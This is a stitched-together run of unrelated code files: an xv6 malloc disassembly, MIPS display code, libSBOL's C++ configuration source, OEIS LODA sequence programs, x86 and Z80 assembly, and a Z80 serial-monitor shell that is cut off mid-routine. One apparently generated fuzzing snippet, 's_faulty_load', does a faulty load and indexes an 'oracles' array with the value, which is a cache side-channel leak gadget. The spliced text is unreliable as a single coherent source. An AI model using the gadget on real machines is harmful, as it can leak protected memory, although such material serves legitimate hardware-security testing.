71b: 31 c0 xor %eax,%eax
}
71d: 5b pop %ebx
71e: 5e pop %esi
71f: 5f pop %edi
720: 5d pop %ebp
721: c3 ret
722: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
728: 39 cf cmp %ecx,%edi
72a: 74 54 je 780 <malloc+0xf0>
p->s.size -= nunits;
72c: 29 f9 sub %edi,%ecx
72e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
731: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
734: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
737: 89 15 74 0a 00 00 mov %edx,0xa74
}
73d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
740: 83 c0 08 add $0x8,%eax
}
743: 5b pop %ebx
744: 5e pop %esi
745: 5f pop %edi
746: 5d pop %ebp
747: c3 ret
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
750: c7 05 74 0a 00 00 78 movl $0xa78,0xa74
757: 0a 00 00
75a: c7 05 78 0a 00 00 78 movl $0xa78,0xa78
761: 0a 00 00
base.s.size = 0;
764: b8 78 0a 00 00 mov $0xa78,%eax
769: c7 05 7c 0a 00 00 00 movl $0x0,0xa7c
770: 00 00 00
773: e9 44 ff ff ff jmp 6bc <malloc+0x2c>
778: 90 nop
779: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
780: 8b 08 mov (%eax),%ecx
782: 89 0a mov %ecx,(%edx)
784: eb b1 jmp 737 <malloc+0xa7>
|
.data
end: .word 0xffff0010
chr: .word 0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x67, 0x77, 0x7c, 0x39, 0x5e, 0x79, 0x71
.text
main:
la $s0,end
lw $s0,0($s0)
li $s1,16 #number of running numbers
reset:
sw $zero,0($s0)
la $s2,chr
lw $s3,0($s2)
li $t1,0
loop:
beq $t1,$s1,reset
sw $s3,0($s0)
addi $t1,$t1,1
addi $s2,$s2,4
lw $s3,0($s2)
j loop |
/**
* @file config.cpp
* @brief Global library options and configuration methods
* @author Bryan Bartley
* @email bartleyba@sbolstandard.org
*
* <!--------------------------------------------------------------------------
* This file is part of libSBOL. Please visit http://sbolstandard.org for more
* information about SBOL, and the latest version of libSBOL.
*
* Copyright 2016 University of Washington, WA, USA
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ------------------------------------------------------------------------->*/
#include "config.h"
#include <string>
#include <stdlib.h> /* srand, rand */
#include <time.h>
#include <vector>
#include <algorithm>
#include <json/json.h>
#include <curl/curl.h>
#include <unordered_map>
#if defined(SBOL_BUILD_PYTHON2) || defined(SBOL_BUILD_PYTHON3)
#include "Python.h"
#undef tolower
#endif
using namespace sbol;
using namespace std;
extern Config& config = * new sbol::Config(); ///< Global configuration object that governs library behavior, especially with regards to URI generation
//Config& config = * new sbol::Config(); ///< Global configuration object that governs library behavior, especially with regards to URI generation
std::map<std::string, std::string> sbol::Config::options {
{"homespace", "http://examples.org"},
{"sbol_compliant_uris", "True"},
{"sbol_typed_uris", "True"},
{"output_format", "rdfxml"},
{"validate", "True"},
{"validator_url", "http://www.async.ece.utah.edu/validate/"},
{"language", "SBOL2"},
{"test_equality", "False"},
{"check_uri_compliance", "False"},
{"check_completeness", "False"},
{"check_best_practices", "False"},
{"fail_on_first_error", "False"},
{"provide_detailed_stack_trace", "False"},
{"uri_prefix", ""},
{"subset_uri", ""},
{"version", ""},
{"insert_type", "False"},
{"main_file_name", "main file"},
{"diff_file_name", "comparison file"},
{"return_file", "False"},
{"verbose", "False"}
};
std::map<std::string, std::vector<std::string>> sbol::Config::valid_options {
{"sbol_compliant_uris", {"True", "False"}},
{"sbol_typed_uris", { "True", "False" }},
{"output_format", {"rdfxml", "json"}},
{"validate", { "True", "False" }},
{"language", { "SBOL2", "FASTA", "GenBank" }},
{"test_equality", { "True", "False" }},
{"check_uri_compliance", { "True", "False" }},
{"check_completeness", { "True", "False" }},
{"check_best_practices", { "True", "False" }},
{"fail_on_first_error", { "True", "False" }},
{"provide_detailed_stack_trace", { "True", "False" }},
{"insert_type", { "True", "False" }},
{"return_file", { "True", "False" }},
{"verbose", { "True", "False" }}
};
#if defined(SBOL_BUILD_PYTHON2) || defined(SBOL_BUILD_PYTHON3)
std::map<std::string, PyObject*> sbol::Config::PYTHON_DATA_MODEL_REGISTER {};
#endif
void sbol::Config::setOption(std::string option, char const* value)
{
Config::setOption(option, std::string(value));
}
void sbol::Config::setOption(std::string option, std::string value)
{
if (options.find(option) != options.end())
{
// Check if this option has valid arguments to validate against
if (valid_options.find(option) != valid_options.end())
{
// Set the option if a valid argument is provided
if (std::find(valid_options[option].begin(), valid_options[option].end(), value) != valid_options[option].end())
{
options[option] = value;
}
else
{
// Format error message
std::string msg;
for (auto const& arg : valid_options[option]) { msg += arg + ", "; }
msg[msg.size()-2] = '.'; // Replace last , with a .
throw SBOLError(SBOL_ERROR_INVALID_ARGUMENT, value + " not a valid value for this option. Valid options are " + msg);
}
}
else
// Any argument is valid, eg uriPrefix
options[option] = value;
}
else
{
throw SBOLError(SBOL_ERROR_INVALID_ARGUMENT, option + " not a valid configuration option for libSBOL");
}
};
void sbol::Config::setOption(std::string option, bool value)
{
string val_str;
if (value == true)
{
val_str = "True";
}
else if (value == false)
{
val_str = "False";
}
if (options.find(option) != options.end())
{
// Check if this option has valid arguments to validate against
if (valid_options.find(option) != valid_options.end())
{
// Set the option if a valid argument is provided
if (std::find(valid_options[option].begin(), valid_options[option].end(), val_str) != valid_options[option].end())
options[option] = val_str;
else
{
// Format error message
std::string msg;
for (auto const& arg : valid_options[option]) { msg += arg + ", "; }
msg[msg.size()-2] = '.'; // Replace last , with a .
throw SBOLError(SBOL_ERROR_INVALID_ARGUMENT, val_str + " not a valid value for this option. Valid options are " + msg);
}
}
else
// Any argument is valid, eg uriPrefix
options[option] = val_str;
}
else
{
throw SBOLError(SBOL_ERROR_INVALID_ARGUMENT, option + " not a valid configuration option for libSBOL");
}
}
std::string sbol::Config::getOption(std::string option)
{
if (options.find(option) != options.end())
{
return options[option];
}
else
{
throw SBOLError(SBOL_ERROR_INVALID_ARGUMENT, option + " not a valid configuration option for libSBOL");
}
};
// @TODO move sbol_type TYPEDEF declaration to this file and use sbol_type instead of string for 2nd argument
std::string sbol::constructCompliantURI(std::string sbol_type, std::string display_id, std::string version)
{
if (Config::getOption("sbol_compliant_uris").compare("True") == 0)
return getHomespace() + "/" + parseClassName(sbol_type) + "/" + display_id + "/" + version;
else
return "";
};
std::string sbol::constructCompliantURI(std::string parent_type, std::string child_type, std::string display_id, std::string version)
{
if (Config::getOption("sbol_compliant_uris").compare("True") == 0)
return getHomespace() + "/" + parseClassName(parent_type) + "/" + parseClassName(child_type) + "/" + display_id + "/" + version;
else
return "";
};
// This autoconstruct method constructs non-SBOL-compliant URIs
std::string sbol::constructNonCompliantURI(std::string uri)
{
if (Config::getOption("sbol_compliant_uris").compare("False") == 0 && hasHomespace())
return getHomespace() + "/" + uri;
else if (Config::getOption("sbol_compliant_uris").compare("False") == 0 && !hasHomespace())
return uri;
else
return "";
};
// Defines format for randomly generated identifier strings to be used in autoconstructed URIs
string sbol::randomIdentifier()
{
string id;
srand(time(NULL));
for (auto i = 1; i <= 16; i++)
{
int r_digit = rand() % 10;
//id = id + to_string(r_digit);
id = r_digit;
if (r_digit % 4 == 0 && r_digit != 16)
id = id + "-";
}
return id;
}
// This autoconstruct method constructs non-SBOL-compliant URIs
std::string sbol::autoconstructURI()
{
if (Config::getOption("sbol_compliant_uris").compare("False") == 0 && hasHomespace())
return getHomespace() + "/" + randomIdentifier();
else if (Config::getOption("sbol_compliant_uris").compare("False") == 0 && !hasHomespace())
throw SBOLError(SBOL_ERROR_COMPLIANCE, "The autoconstructURI method requires a valid namespace authority. Use setHomespace().");
else
throw SBOLError(SBOL_ERROR_COMPLIANCE, "The autoconstructURI method only works when SBOLCompliance flag is false. Use setOption to disable SBOL-compliant URIs.");
};
std::string sbol::getCompliantURI(std::string uri_prefix, std::string sbol_class_name, std::string display_id, std::string version)
{
return uri_prefix + "/" + sbol_class_name + "/" + display_id + "/" + version;
};
/// Parse a class name from a URI
/// @param uri A URI
std::string sbol::parseClassName(std::string uri)
{
std::size_t uri_subordinate_pos = uri.find_last_of("#");
if (uri_subordinate_pos != std::string::npos)
{
uri_subordinate_pos += 1;
std::string sbol_class = uri.substr(uri_subordinate_pos, uri.size() - uri_subordinate_pos);
return sbol_class;
}
uri_subordinate_pos = uri.find_last_of("/", uri.size());
if (uri_subordinate_pos != std::string::npos)
{
uri_subordinate_pos += 1;
std::string sbol_class = uri.substr(uri_subordinate_pos, uri.size() - uri_subordinate_pos);
return sbol_class;
}
else
return "";
};
std::string sbol::parseNamespace(std::string uri)
{
std::size_t uri_subordinate_pos = uri.find_last_of("#");
if (uri_subordinate_pos != std::string::npos)
{
uri_subordinate_pos += 1;
std::string ns = uri.substr(0, uri_subordinate_pos);
return ns;
}
uri_subordinate_pos = uri.find_last_of("/", uri.size());
if (uri_subordinate_pos != std::string::npos)
{
uri_subordinate_pos += 1;
std::string ns = uri.substr(0, uri_subordinate_pos);
return ns;
}
else
return "";
};
std::string sbol::parseURLDomain(std::string url)
{
std::size_t url_begin_pos = url.find("://");
std::size_t url_end_pos = url.find("/", url_begin_pos + 3);
if (url_end_pos != std::string::npos)
{
std::string domain_name = url.substr(0, url_end_pos);
return domain_name;
}
else
return url;
};
std::string sbol::parsePropertyName(std::string uri)
{
// std::size_t uri_subordinate_pos = uri.find("#") + 1;
// if (uri_subordinate_pos != std::string::npos)
// {
// std::string ns = uri.substr(uri_subordinate_pos, uri.size() - uri_subordinate_pos);
// return ns;
// }
// uri_subordinate_pos = uri.find("/", 0) + 1;
// if (uri_subordinate_pos != std::string::npos)
// {
// std::string ns = uri.substr(uri_subordinate_pos, uri.size() - uri_subordinate_pos);
// return ns;
// }
// else
// throw;
return parseClassName(uri);
};
void sbol::setHomespace(std::string ns)
{
config.setHomespace(ns);
};
std::string sbol::getHomespace()
{
return config.getHomespace();
};
int sbol::hasHomespace()
{
if (config.getHomespace().compare("") == 0)
return 0;
else
return 1;
};
void sbol::setFileFormat(std::string file_format)
{
config.setFileFormat(file_format);
};
std::string sbol::getFileFormat()
{
return config.getFileFormat();
};
void Config::setHomespace(std::string ns)
{
options["homespace"] = ns;
};
string Config::getHomespace()
{
return options["homespace"];
};
int Config::hasHomespace()
{
if (options["homespace"].compare("") == 0)
return 0;
else
return 1;
};
void Config::setFileFormat(std::string file_format)
{
if (file_format.compare("json") == 0)
this->format = "json";
else
this->format = "rdfxml";
};
std::string Config::getFileFormat()
{
return format;
};
/* This callback is necessary to get the HTTP response as a string */
size_t sbol::CurlWrite_CallbackFunc_StdString(void *contents, size_t size, size_t nmemb, std::string *s)
{
size_t newLength = size*nmemb;
size_t oldLength = s->size();
try
{
s->resize(oldLength + newLength);
}
catch(std::bad_alloc &e)
{
//handle memory problem
return 0;
}
std::copy((char*)contents,(char*)contents+newLength,s->begin()+oldLength);
return size*nmemb;
};
size_t sbol::CurlResponseHeader_CallbackFunc(char *buffer, size_t size, size_t nitems, void *userdata)
{
std::unordered_map<std::string, std::string>& headers = *(std::unordered_map<std::string, std::string>*)userdata;
size_t header_length = size * nitems;
std::string header = std::string(buffer);
std::size_t delimiter_pos = header.find(':');
if (delimiter_pos != std::string::npos)
{
std::string key = header.substr(0, delimiter_pos);
std::string val = header.substr(delimiter_pos + 1, header_length - 2 - delimiter_pos);
headers[key] = val;
}
userdata = &headers;
return size * nitems;
};
|
; A025736: Index of 9^n within sequence of numbers of form 6^i*9^j.
; 1,3,6,10,15,22,30,39,49,61,74,88,103,119,137,156,176,197,220,244,269,295,322,351,381,412,444,478,513,549,586,625,665,706,748,791,836,882,929,977,1027,1078,1130,1183,1237,1293,1350,1408,1467,1528,1590,1653,1717
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mul $0,14
mov $1,$0
div $1,62
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
add $1,1
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
|
[bits 32]
VIDEO_MEMORY equ 0xb8000 ; beginning of video memory: to print in protected mode you have to write on
; video memory.
WHITE_ON_BLACK equ 0x0f ; WB parameter
PrintStringPM:
pusha
mov edx, VIDEO_MEMORY ; sets EDX to beginning of video memory
PrPM_Loop:
mov al, [ebx] ; store the char at EBX in AL
mov ah, WHITE_ON_BLACK ; store attributes in AH
cmp al, 0 ; looks for string termination (NULL char)
je PrPM_End
mov [edx], ax ; moves (char, attributes) to video memory
inc ebx ; next char
add edx, 2 ; next (char, attributes)
jmp PrPM_Loop
PrPM_End:
popa
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xd169, %r8
nop
nop
nop
nop
nop
xor $15864, %rax
movl $0x61626364, (%r8)
nop
nop
inc %r10
lea addresses_D_ht+0x12759, %r15
nop
nop
cmp $34579, %rdi
mov (%r15), %r9d
cmp %r15, %r15
lea addresses_A_ht+0x5d69, %r10
nop
nop
nop
nop
nop
sub %r15, %r15
mov (%r10), %rax
nop
nop
nop
nop
nop
inc %r8
lea addresses_normal_ht+0x124a0, %r10
nop
nop
inc %r8
and $0xffffffffffffffc0, %r10
vmovntdqa (%r10), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rdi
nop
add %r15, %r15
lea addresses_A_ht+0x16c9, %r8
cmp %rax, %rax
mov $0x6162636465666768, %r9
movq %r9, %xmm2
movups %xmm2, (%r8)
cmp $45419, %r15
lea addresses_D_ht+0xe4c9, %rsi
lea addresses_UC_ht+0x24c9, %rdi
nop
nop
lfence
mov $62, %rcx
rep movsb
nop
nop
add %r15, %r15
lea addresses_A_ht+0x15249, %r9
nop
nop
nop
nop
nop
add %r10, %r10
mov (%r9), %ecx
nop
nop
nop
nop
nop
cmp $5783, %rsi
lea addresses_normal_ht+0x5c95, %rsi
lea addresses_A_ht+0x59c5, %rdi
nop
xor %r8, %r8
mov $44, %rcx
rep movsl
nop
dec %r10
lea addresses_A_ht+0x1ced1, %r8
nop
inc %rcx
movw $0x6162, (%r8)
xor $30597, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %rbp
push %rcx
push %rdx
push %rsi
// Store
lea addresses_normal+0x4ac9, %rsi
nop
add %r12, %r12
mov $0x5152535455565758, %rbp
movq %rbp, (%rsi)
nop
nop
nop
nop
sub $46790, %rsi
// Faulty Load
lea addresses_normal+0x4ac9, %rsi
nop
nop
nop
nop
nop
xor %rcx, %rcx
vmovups (%rsi), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r15
lea oracles, %rdx
and $0xff, %r15
shlq $12, %r15
mov (%rdx,%r15,1), %r15
pop %rsi
pop %rdx
pop %rcx
pop %rbp
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'58': 821}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
; A179546: a(n) = p^2*(p + 3)/2, where p = prime(n).
; 10,27,100,245,847,1352,2890,3971,6877,13456,16337,27380,36982,42527,55225,78652,107911,119072,157115,186517,202502,255881,296227,364366,470450,530452,562277,629695,665336,740602,1048385,1149787,1313830,1371791,1687276,1755677,1971920,2205227,2370565,2633752,2915731,3014012,3538657,3650402,3880900,3999701,4763747,5619377,5925835,6083156,6406102,6911641,7085882,8001127,8586370,9199477,9841096,10061417,10742060,11212462,11452727,12705652,14608595,15185197,15479102,16078240,18296687,19306730,21071575,21436976,22180402,23327461,24917465,26156252,27435431,28310977,29658916,31521800,32481802,34459886,37043371,37575092,40310137,40872602,42591341,43763527,45561826,48035270,49304872,49947977,51250915,55295281,58106405,59547007,62499251,64011277,66324736,71117542,71938127,79609232
seq $0,40 ; The prime numbers.
add $1,$0
add $1,2
mul $1,$0
add $1,$0
mul $1,$0
div $1,2
mov $0,$1
|
; A129202: Denominator of 3*(3+(-1)^n) / (n+1)^2.
; 1,2,3,8,25,6,49,32,27,50,121,24,169,98,75,128,289,54,361,200,147,242,529,96,625,338,243,392,841,150,961,512,363,578,1225,216,1369,722,507,800,1681,294,1849,968,675,1058,2209,384,2401,1250,867,1352,2809,486,3025,1568,1083,1682,3481,600,3721,1922,1323,2048,4225,726,4489,2312,1587,2450,5041,864,5329,2738,1875,2888,5929,1014,6241,3200,2187,3362,6889,1176,7225,3698,2523,3872,7921,1350,8281,4232,2883,4418,9025,1536,9409,4802,3267,5000
mov $2,$0
add $2,1
pow $2,2
mov $1,$2
gcd $2,6
div $1,$2
mov $0,$1
|
; A020914: Number of digits in the base-2 representation of 3^n.
; 1,2,4,5,7,8,10,12,13,15,16,18,20,21,23,24,26,27,29,31,32,34,35,37,39,40,42,43,45,46,48,50,51,53,54,56,58,59,61,62,64,65,67,69,70,72,73,75,77,78,80,81,83,85,86,88,89,91,92,94,96,97,99,100,102,104,105,107,108,110,111,113,115,116,118,119,121,123,124,126,127,129,130,132,134,135,137,138,140,142,143,145,146,148,149,151,153,154,156,157,159,161,162,164,165,167,169,170,172,173,175,176,178,180,181,183,184,186,188,189,191,192,194,195,197,199,200,202,203,205,207,208,210,211,213,214,216,218,219,221,222,224,226,227,229,230,232,233,235,237,238,240,241,243,245,246,248,249,251,253,254,256,257,259,260,262,264,265,267,268,270,272,273,275,276,278,279,281,283,284,286,287,289,291,292,294,295,297,298,300,302,303,305,306,308,310,311,313,314,316,317,319,321,322,324,325,327,329,330,332,333,335,337,338,340,341,343,344,346,348,349,351,352,354,356,357,359,360,362,363,365,367,368,370,371,373,375,376,378,379,381,382,384,386,387,389,390,392,394,395
mul $0,84
mov $1,$0
div $1,53
add $1,1
|
; A022096: Fibonacci sequence beginning 1, 6.
; 1,6,7,13,20,33,53,86,139,225,364,589,953,1542,2495,4037,6532,10569,17101,27670,44771,72441,117212,189653,306865,496518,803383,1299901,2103284,3403185,5506469,8909654,14416123,23325777,37741900,61067677,98809577,159877254,258686831,418564085,677250916,1095815001,1773065917,2868880918,4641946835,7510827753,12152774588,19663602341,31816376929,51479979270,83296356199,134776335469,218072691668,352849027137,570921718805,923770745942,1494692464747,2418463210689,3913155675436,6331618886125
mov $1,1
lpb $0
sub $0,1
add $2,$1
add $3,6
mov $1,$3
mov $3,$2
lpe
mov $0,$1
|
; A083446: a(n) = ((10^n - 1) - 9^n)/9.
; 2,30,382,4550,52062,579670,6328142,68064390,723690622,7624326710,79730051502,828681574630,8569245282782,88234318656150,905219979016462,9258090922259270,94433929411444542,961016475814111990,9760259393438119022,98953445652054182310,1001692121979598751902,10126340208927499878230,102248172991458610015182,1031344668034238601247750,10393213123419258522340862,104650029221884437812178870,1052961374108071051420720942,10587763478083750573897599590,106400982413864866276189507422,1068719952835894907596816677910,10729590686634165279482461212302,107677427290818598626453262021830,1080207956728478498749190469307582,10832982721667417599853825334879350,108607955606117869509795539125025262
add $0,2
mov $1,10
pow $1,$0
mov $2,9
pow $2,$0
sub $1,$2
sub $1,19
div $1,9
add $1,2
mov $0,$1
|
SECTION rodata_stdlib
PUBLIC __dtoa_inf_s
__dtoa_inf_s:
defm "inf"
defb 0
|
;ASH - Aidan's SHell
;32K EEPROM (0x0000 - 0x7FFF)
;32K SRAM (0x8000 - FFFF)
;IO Provided via 16550 UART
;TODO:
;Change most DE to HL
;Change eror to check for non-zero values
;Write doesn't seem to write correctly
;Read doesn't read correctly at non-0 values
;conway's game of life?
STACK_H equ 0xFF
STACK_L equ 0xFF
;First byte of term buf is the size of the term buf
TERM_BUF equ 0x8000
;Maximum size of the buffer
TERM_BUF_MAX equ 256
;Baud Rate Divisor (115200)
BAUD_DIV_HIGH equ 0
BAUD_DIV_LOW equ 8
;////////////////
;UART Registers
;////////////////
UART_DHR equ 0x0 ;UART Data R/W register
UART_IER equ 0x1 ;Interrupt Enable Register
UART_IFR equ 0x2 ;Interrupt ID Reg (READ), FIFO Control Reg (WRITE)
UART_LCR equ 0x3 ;Line Control Register
UART_MCR equ 0x4 ;Modem Control
UART_LSR equ 0x5 ;Line Status Register
UART_MSR equ 0x6 ;Modem Status (Unused)
UART_SCR equ 0x7 ;Arbitrary data can be stored here
;According to the datasheet:
;8 Databits, No parity, 1 Stop
;///////////
;Charactars
;///////////
CHAR_NEWLINE equ 0xA
CHAR_RETURN equ 0xD
CHAR_EOT equ 0x3
CHAR_SPACE equ 0x20
CHAR_NULL equ 0x0
NUM0 equ 0x30
NUM1 equ 0x31
NUM2 equ 0x32
NUM3 equ 0x33
NUM4 equ 0x34
NUM5 equ 0x35
NUM6 equ 0x36
NUM7 equ 0x37
NUM8 equ 0x38
NUM9 equ 0x39
LETTER_W equ 0x57
LETTER_S equ 0x53
LETTER_A equ 0x41
LETTER_D equ 0x44
ASCII_ESC equ 0x1B
ASCII_LBR equ "["
ASCII_SEMI equ ";"
ASCII_TER equ "m"
ASCII_FG equ "3"
ASCII_BG equ "4"
COLOR_BLACK equ "0"
COLOR_RED equ "1"
COLOR_GREEN equ "2"
COLOR_YELLOW equ "3"
COLOR_BLUE equ "4"
COLOR_PURPLE equ "5"
COLOR_CYAN equ "6"
COLOR_WHITE equ "7"
SYM_READ equ ":"
SYM_WRITE equ "<"
SYM_EXE equ "@"
SYM_HELP equ "?"
;/////////////////
;Code Starts HERE
;/////////////////
org 0000h
BOOT:
;Wait a few clocks
NOP
NOP
NOP
NOP
;Set up Stack
LD H, STACK_H
LD L, STACK_L
LD SP, HL
;Set up UART
CALL UART_INIT
;Disable interrupt
DI
;Boot Sequence Complete
JP MAIN
;//////////////////
;Interrupt Routine
;//////////////////
org 0038h
NOP
NOP
RETI
MAIN:
;Reset Colors
LD HL, COLOR_NORMAL
CALL WRITE_STR
;Clear the terminal
LD HL, CLEAR_DISPLAY
CALL WRITE_STR
;Print Boot Screen
LD HL, BOOT_MSG
CALL WRITE_STR
;Print Ready Message
LD HL, READY_MSG
CALL WRITE_STR
MAIN_LOOP:
CALL MONITOR
JP MAIN_LOOP
MONITOR:
PUSH AF
PUSH HL
;Clear Terminal Buffer
LD HL, TERM_BUF
LD A, 0
LD (HL), A
;Print Prompt
LD HL, PROMPT
CALL WRITE_STR
;Get the user input and evaluate
CALL GETSTR
CALL EVALUATE_STMT
POP HL
POP AF
RET
;//////////////////////
;//////Functions///////
;//////////////////////
;//////////////////////////////////////
;UART Functions
;//////////////////////////////////////
UART_INIT:
PUSH AF
CALL UART_CLEAR_DLAB
CALL UART_DISABLE_FIFO
CALL UART_SET_LINE_CONTROL
CALL UART_TOGGLE_OUT1
CALL UART_TOGGLE_OUT2
CALL UART_CLEAR_LSR
CALL UART_SET_DLAB
CALL UART_SET_BAUD
CALL UART_CLEAR_DLAB
POP AF
RET
UART_CLEAR_DLAB:
PUSH AF
IN A, (UART_LCR)
AND 0x7F
OUT (UART_LCR), A
POP AF
RET
UART_SET_DLAB:
PUSH AF
IN A, (UART_LCR)
OR 0x80
OUT (UART_LCR), A
POP AF
RET
UART_SET_LINE_CONTROL:
PUSH AF
LD A, 0x3 ;8 Bit word, 1 stop, no parity
OUT (UART_LCR), A
POP AF
RET
UART_DISABLE_FIFO:
PUSH AF
LD A, 0x6
OUT (UART_IFR), A
POP AF
RET
UART_SET_BAUD:
PUSH AF
;115200
LD A, BAUD_DIV_LOW
OUT (UART_DHR), A
LD A, BAUD_DIV_HIGH
OUT (UART_IER), A
POP AF
RET
UART_CLEAR_LSR:
PUSH AF
;Clear Line Status Reg Errors (Page 21)
IN A, (UART_LSR)
POP AF
RET
UART_TOGGLE_OUT1:
PUSH AF
IN A, (UART_MCR)
XOR 0x4
OUT (UART_MCR), A
